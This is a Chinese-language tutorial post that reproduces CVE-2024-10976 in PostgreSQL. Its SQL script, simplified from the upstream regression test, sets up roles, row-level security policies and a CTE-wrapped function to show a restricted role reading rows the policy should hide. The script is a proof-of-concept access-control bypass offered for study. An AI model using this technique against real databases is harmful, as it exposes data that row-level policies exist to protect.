漏洞修复学习之CVE-2024-10976漏洞复现

PostgreSQL数据库的漏洞复现可以从其修复代码中的回归测试脚本中获取,以下是抽取简化后的复现验证脚本。

-- ./psql -f ../../cve-2024-10976.sql

DROP FUNCTION IF EXISTS rls_f;

DROP table IF EXISTS rls_t;

DROP ROLE IF EXISTS regress_rls_alice;

DROP ROLE IF EXISTS regress_rls_bob;

-- 创建测试用户

CREATE ROLE regress_rls_alice LOGIN;

CREATE ROLE regress_rls_bob LOGIN;

-- DROP POLICY p1;

-- DROP POLICY p2;

-- 创建测试表

create table rls_t (c text);

-- 插入数据

insert into rls_t values ('invisible to bob');

-- 设置行安全

alter table rls_t enable row level security;

grant select on rls_t to regress_rls_alice, regress_rls_bob;

-- 允许regress_rls_alice访问,不允许regress_rls_bob访问

create policy p1 on rls_t for select to regress_rls_alice using (true);

create policy p2 on rls_t for select to regress_rls_bob using (false);

-- 创建函数rls_f访问表rls_t

create or replace function rls_f () returns setof rls_t

stable language sql

as $$ select * from rls_t $$;

prepare q as select current_user, * from rls_f();

-- 由于行级安全限制,regress_rls_alice可以访问,regress_rls_bob不能访问

set role regress_rls_alice;

execute q;

set role regress_rls_bob;

execute q;

-- make sure RLS dependencies in CTEs are handled

reset role;

-- 增加cte包装

create or replace function rls_f() returns setof rls_t

stable language sql

as $$ with cte as (select * from rls_t) select * from cte $$;

prepare r as select current_user, * from rls_f();

-- 由于行级安全限制,regress_rls_alice可以访问,regress_rls_bob不能访问

-- 由于漏洞CVE-2024-10976的存在,regress_rls_bob也能访问表rls_t

set role regress_rls_alice;

execute r;

set role regress_rls_bob;

execute r;

相关推荐
2301_769340671 分钟前
CSS如何兼容新旧方案结合响应式容器查询
jvm·数据库·python
weixin_459753947 分钟前
MySQL 中高效存储与查询时间数据的最佳实践
jvm·数据库·python
qq_392690667 分钟前
HTML函数能否用老旧主板BIOS限制功能_固件版本影响分析【汇总】
jvm·数据库·python
Bechamz13 分钟前
大数据开发学习Day29
大数据·学习
qq_3926906613 分钟前
Go语言如何做图片缩放_Go语言图片缩放裁剪教程【推荐】
jvm·数据库·python
m0_7364393017 分钟前
Golang怎么连接MySQL数据库_Golang MySQL连接教程【总结】
jvm·数据库·python
CLX050517 分钟前
c++怎么以独占模式打开文件_fsopen与_SH_DENYRW【详解】
jvm·数据库·python
老纪18 分钟前
如何处理SQL复杂业务关联删除_通过触发器实现级联清理
jvm·数据库·python
IT大白鼠18 分钟前
AIGC+教育:个性化学习、AI助教、内容生产,教育行业的变革路径
人工智能·学习·aigc
运气好好的25 分钟前
golang如何理解Go 1.23迭代器协议_golang 1.23迭代器协议详解
jvm·数据库·python